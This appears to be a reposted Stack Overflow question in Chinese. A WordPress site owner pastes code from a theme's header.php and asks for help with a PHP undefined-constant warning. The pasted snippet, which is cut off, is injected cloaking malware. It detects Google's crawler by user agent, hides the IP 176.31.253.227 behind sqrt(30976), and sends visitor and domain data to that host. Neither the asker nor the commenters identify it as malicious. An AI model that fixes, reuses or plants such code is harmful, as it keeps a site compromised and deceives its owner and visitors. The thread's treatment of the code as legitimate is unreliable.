【发布时间】:2019-12-25 11:31:47
【问题描述】:
下面是我的代码:
<?php $botbotbot = "...".mb_strtolower($_SERVER[HTTP_USER_AGENT]);$botbotbot = str_replace(" ", "-", $botbotbot);if (strpos($botbotbot,"google")){$ch = curl_init(); $xxx = sqrt(30976); curl_setopt($ch, CURLOPT_URL, "http://$xxx.31.253.227/cakes/?useragent=$botbotbot&domain=$_SERVER[HTTP_HOST]"
我遇到的错误:
警告:使用未定义的常量 HTTP_USER_AGENT - 假定 'HTTP_USER_AGENT'(这将在未来版本的 PHP) 在 G:\PleskVhosts\pdmsweb.com\mak-consultant.com\wp-content\themes\themify-ultra\header.php 第 1 行
【问题讨论】:
-
我的代码 >
-
这能回答你的问题吗? PHP Undefined index: HTTP_USER_AGENT
-
如果有人可以为我修复它,我对 php 的了解为零。
-
欢迎来到 Stack Overflow。本网站希望您做一些工作,我们不是代码编写服务。 take the tour 也是一个好主意,阅读 How to Ask。
标签: php